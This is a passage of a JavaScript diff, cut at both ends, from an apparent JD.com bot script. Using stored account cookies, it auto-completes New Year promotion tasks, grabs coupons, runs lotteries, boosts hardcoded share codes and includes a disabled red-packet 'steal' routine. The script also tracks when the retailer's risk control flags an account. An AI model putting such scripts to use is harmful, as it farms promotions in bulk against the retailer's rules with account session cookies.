'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w' +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); +const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html%22%20%7D`; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await shareCodesFormatPk() + await jdNian() + } + } + if(superAssist.length) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await helpSuper() + } + } + if ((nowTimes.getHours() < 20 && nowTimes.getHours() >= 10) && nowTimes.getDate() === 4) { + if (nowTimes.getHours() === 12 || nowTimes.getHours() === 19) { + $.msg($.name, '', '队伍红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}); + if ($.isNode()) await notify.sendNotify($.name, `队伍PK红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) + } + } + if (nowTimes.getHours() === 20 && nowTimes.getDate() === 4) { + $.msg($.name, '', '年终奖红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}) + if ($.isNode()) await notify.sendNotify($.name, `年终奖红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.full = false + await getHomeData() + await nian_doAdditionalTask() + if (!$.secretp) return + // 注释PK互助代码 + // let hour = new Date().getUTCHours() + // if (1 <= hour && hour < 12) { + // // 北京时间9点-20点 + // $.hasGroup = false + // await pkTaskDetail() + // if ($.hasGroup) await pkInfo() + // await helpFriendsPK() + // } + // if (12 <= hour && hour < 14) { + // // 北京时间20点-22点 + // $.hasGroup = false + // await pkTaskStealDetail() + // if ($.hasGroup) await pkInfo() + // await helpFriendsPK() + // } + if($.full) return + await $.wait(2000) + await killCouponList() + await $.wait(2000) + await map() + await $.wait(2000) + await queryMaterials() + await getTaskList() + await $.wait(1000) + await doTask() + await $.wait(2000) + await helpFriends() + await $.wait(2000) + await getSpecialGiftDetail() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return {"ss": (JSON.stringify(temp))}; +} + +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} + +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await getFriendData(code) + await $.wait(1000) + } +} + +async function helpSuper(){ + $.secretp = null + await getHomeData(true) + if (!$.secretp) return + for(let item of superAssist){ + await collectSpecialScore(item.taskId, item.itemId, null, item.inviteId) + } +} + +async function helpFriendsPK() { + for (let code of $.newShareCodesPk) { + if (!code) continue + console.log(`去助力PK好友${code}`) + await pkAssignGroup(code) + await $.wait(1000) + } +} + +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 14) { + //好友助力任务 + //console.log(`您的好友助力码为${item.assistTaskDetailVo.taskToken}`) + } + if (item.taskType === 2) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + await getFeedDetail({"taskId": item.taskId}, item.taskId) + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } else if (item.taskType === 9) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 7) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.browseShopVo) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId, 1); + } + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 13) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + await collectScore(item.taskId, "1"); + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else if (item.taskType === 21) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.brandMemberVos) { + if (task.status === 1) { + await collectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } +} + +function getFeedDetail(body = {}) { + return new Promise(resolve => { + $.post(taskPostUrl("nian_getFeedDetail", body, "nian_getFeedDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.addProductVos) { + for (let vo of data.data.result.addProductVos) { + if (vo['status'] === 1) { + for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { + let bo = vo.productInfoVos[i] + await collectScore(vo['taskId'], bo['itemId']) + await $.wait(2000) + } + } + } + } + if (data.data.result.taskVos) { + for (let vo of data.data.result.taskVos) { + if (vo['status'] === 1) { + for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { + let bo = vo.productInfoVos[i] + await collectScore(vo['taskId'], bo['itemId']) + await $.wait(2000) + } + } + } + } + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData', {}, 'nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if (!$.secretp) { + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + if ($.userInfo.raiseInfo.fullFlag) { + console.log(`当前等级已满,不再做日常任务!\n`) + $.full = true + return + } + console.log(`\n\n当前等级:${$.userInfo.raiseInfo.scoreLevel}\n当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨\n\n`) + + if (info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + return + } + if ($.userInfo.raiseInfo.produceScore > 0) { + console.log(`可收取的爆竹大于0,去收取爆竹`) + await collectProduceScore() + } + if (parseInt($.userInfo.raiseInfo.remainScore) >= parseInt($.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore)) { + console.log(`当前爆竹🧨大于升级所需爆竹🧨,去升级`) + await $.wait(2000) + await raise() + } + } else { + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectProduceScore(taskId = "collectProducedCoin") { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + const body = encode(temp, $.secretp, extraData); + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectProduceScore", body, "nian_collectProduceScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`收取成功,获得${data.data.result.produceScore}爆竹🧨`) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function collectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectScore", body, "nian_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + else if (data.data.result.maxAssistTimes) { + console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + await $.wait(10 * 1000) + if (data.data.result.taskToken) { + await doTask2(data.data.result.taskToken) + } + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkCollectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", body, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}积分`) + else if (data.data.result.maxAssistTimes) { + console.log(`助力好友成功`) + } else { + console.log(`任务上报成功`) + await $.wait(10 * 1000) + if (data.data.result.taskToken) { + await doTask2(data.data.result.taskToken) + } + } + // $.userInfo = data.data.result.userInfo; + } else { + console.log(data.data.bizMsg) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask2(taskToken) { + let body = { + "dataSource": "newshortAward", + "method": "getTaskAward", + "reqParams": `{\"taskToken\":\"${taskToken}\"}` + } + return new Promise(resolve => { + $.post(taskPostUrl("qryViewkitCallbackResult", body,), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (data.code === "0") { + console.log(data.toast.subTitle + '🧨') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function raise(taskId = "nian_raise") { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + const body = encode(temp, $.secretp, extraData); + return new Promise(resolve => { + $.post(taskPostUrl("nian_raise", body, "nian_raise"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`升级成功`) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTaskList(body = {}) { + return new Promise(resolve => { + $.post(taskPostUrl("nian_getTaskDetail", body, "nian_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (JSON.stringify(body) === "{}") { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`\n\n您的好友助力码为${data.data.result.inviteId}\n\n`) + } + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFriendData(inviteId) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData', {"inviteId": inviteId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data['bizCode'] === 0) { + $.itemId = data.data.result.homeMainInfo.guestInfo.itemId + await collectScore('2', $.itemId, null, inviteId) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function map() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_myMap", {}, "nian_myMap"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + let msg = '当前已开启的地图:' + for (let vo of data.data.result.monsterInfoList) { + if (vo.curLevel) msg += vo.name + ' ' + } + console.log(msg) + // $.userInfo = data.data.result.userInfo; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function queryMaterials() { + let body = { + "qryParam": "[{\"type\":\"advertGroup\",\"mapTo\":\"viewLogo\",\"id\":\"05149412\"},{\"type\":\"advertGroup\",\"mapTo\":\"bottomLogo\",\"id\":\"05149413\"}]", + "activityId": "2cKMj86srRdhgWcKonfExzK4ZMBy", + "pageId": "", + "reqSrc": "", + "applyKey": "21beast" + } + return new Promise(resolve => { + $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + let shopList = data.data.viewLogo.list.concat(data.data.bottomLogo.list) + let nameList = [] + for (let vo of shopList) { + if (nameList.includes(vo.name)) continue + nameList.push(vo.name) + console.log(`去做${vo.name}店铺任务`) + await shopLotteryInfo(vo.desc) + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function shopLotteryInfo(shopSign) { + let body = {"shopSign": shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopLotteryInfo", body, "nian_shopLotteryInfo"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for (let vo of data.data.result.taskVos) { + if (vo.status === 1) { + if (vo.taskType === 12) { + console.log(`去做${vo.taskName}任务`) + await $.wait(2000) + await collectScore(vo.taskId, vo.simpleRecordInfoVo.itemId, null, null, shopSign) + } else if (vo.taskType === 3 || vo.taskType === 26) { + if (vo.shoppingActivityVos) { + if (vo.status === 1) { + console.log(`准备做此任务:${vo.taskName}`) + for (let task of vo.shoppingActivityVos) { + if (task.status === 1) { + await $.wait(2000) + await collectScore(vo.taskId, task.advId, null, null, shopSign); + } + } + } else if (vo.status === 2) { + console.log(`${vo.taskName}已做完`) + } + } + }else if (vo.taskType === 21) { + if (vo.brandMemberVos) { + if (vo.status === 1) { + console.log(`准备做此任务:${vo.taskName}`) + for (let task of vo.brandMemberVos) { + if (task.status === 1) { + await $.wait(2000) + await collectScore(vo.taskId, task.advertId, null, null, shopSign); + } + } + } else if (vo.status === 2) { + console.log(`${vo.taskName}已做完`) + } + } + } + } + } + for (let i = 0; i < data.data.result.lotteryNum; ++i) { + console.log(`去抽奖:${i + 1}/${data.data.result.lotteryNum}`) + await $.wait(2000) + await doShopLottery(shopSign) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doShopLottery(shopSign) { + let body = {"shopSign": shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_doShopLottery", body, "nian_doShopLottery"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.result) { + let result = data.data.result + if (result.awardType === 4) + console.log(`抽奖成功,获得${result.score}爆竹🧨`) + else if (result.awardType === 2 || result.awardType === 3) + console.log(`抽奖成功,获得优惠卷`) + else if (result.awardType === 5) + console.log(`抽奖成功,品牌卡`) + else + console.log(`抽奖成功,获得${JSON.stringify(result)}`) + } else { + console.log(`抽奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.group = true + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + console.log(`\n\n您的好友PK助力码为${data.data.result.groupInfo.groupAssistInviteId}\n注:此pk邀请码每天都变!\n\n`) + let info = data.data.result.groupPkInfo + console.log(`预计分得:${data.data.result.groupInfo.personalAward}红包`) + if (info.dayAward) + console.log(`白天关卡:${info.dayAward}元红包,完成进度 ${info.dayTotalValue}/${info.dayTargetSell}`) + else { + function secondToDate(result) { + var h = Math.floor(result / 3600); + var m = Math.floor((result / 60 % 60)); + var s = Math.floor((result % 60)); + return h + "小时" + m + "分钟" + s + "秒"; + } + + console.log(`守护关卡:${info.guardAward}元红包,剩余守护时间:${secondToDate(info.guardTime / 5)}`) + } + } else { + $.group = false + console.log(`获取组队信息失败,请检查`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkTaskStealDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getStealForms", {}, "nian_pk_getStealForms"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + $.hasGroup = true + await $.wait(2000) + for (let i = 1; i < data.data.result.stealGroups.length; ++i) { + let item = data.data.result.stealGroups[i] + if (item.stolen === 0) { + console.log(`去偷${item.name}的红包`) + await pkStealGroup(item.id) + await $.wait(2000) + } + } + } else { + console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data && data.data.bizCode === 0) { + await $.wait(2000) + $.hasGroup = true + for (let item of data.data.result.taskVos) { + if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await pkCollectScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + } + } else { + console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId: inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`助力失败,未知错误:${JSON.stringify(data)}`) + $.canhelp = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkStealGroup(stealId) { + let temp = { + "stealId": stealId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + stealId: stealId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_doSteal", body, "nian_pk_doSteal"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`偷取失败,未知错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function killCouponList() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_killCouponList", {}, "nian_killCouponList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizCode === 0) { + await $.wait(2000) + for (let vo of data.data.result) { + if (!vo.status) { + console.log(`去领取${vo['productName']}优惠券`) + await killCoupon(vo['skuId']) + await $.wait(2000) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function killCoupon(skuId) { + let temp = { + "skuId": skuId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = encode(temp, $.secretp, extraData); + body['skuId'] = skuId + return new Promise(resolve => { + $.post(taskPostUrl("nian_killCoupon", body, "nian_killCoupon"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.bizCode === 0) { + console.log(`领取成功,获得${data.data.result.score}爆竹🧨`) + } else { + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getSpecialGiftDetail() { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getSpecialGiftDetail'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + let flag = true + for(let item of data.data.result.taskVos){ + if (item.taskType === 3 || item.taskType === 26) { + if (item.shoppingActivityVos) { + if (item.status === 1) { + flag = false + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await collectSpecialScore(item.taskId, task.itemId); + } + await $.wait(3000) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + else if (item.taskType === 0) { + if (item.status === 1) { + flag = false + console.log(`准备做此任务:${item.taskName}`) + await collectSpecialScore(item.taskId, item.simpleRecordInfoVo.itemId); + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } else{ + if (item.status === 1) { + flag = false + superAssist.push({ + "inviteId": data.data.result.inviteId, + "itemId": item.assistTaskDetailVo.itemId, + "taskId": item.taskId + }) + } else if (item.status === 2) { + console.log(`${item.taskName}已做完`) + } + } + } + if(flag){ + await getSpecialGiftInfo() + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getSpecialGiftInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getSpecialGiftInfo',"nian_getSpecialGiftInfo"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + await collectSpecialFinalScore() + // console.log(`领奖成功,获得${data.data.result.score}爆竹🧨`) + }else{ + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function collectSpecialScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { + let temp = { + "taskId": taskId, + "rnd": getRnd(), + "inviteId": "-1", + "stealId": "-1" + } + if (itemId) temp['itemId'] = itemId + if (actionType) temp['actionType'] = actionType + if (inviteId) temp['inviteId'] = inviteId + if (shopSign) temp['shopSign'] = shopSign + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + taskId: taskId, + itemId: itemId + } + if (actionType) body['actionType'] = actionType + if (inviteId) body['inviteId'] = inviteId + if (shopSign) body['shopSign'] = shopSign + return new Promise(resolve => { + $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data.data.bizCode === 0) { + if (data.data.result.score) + console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) + else if (data.data.result.maxAssistTimes) { + 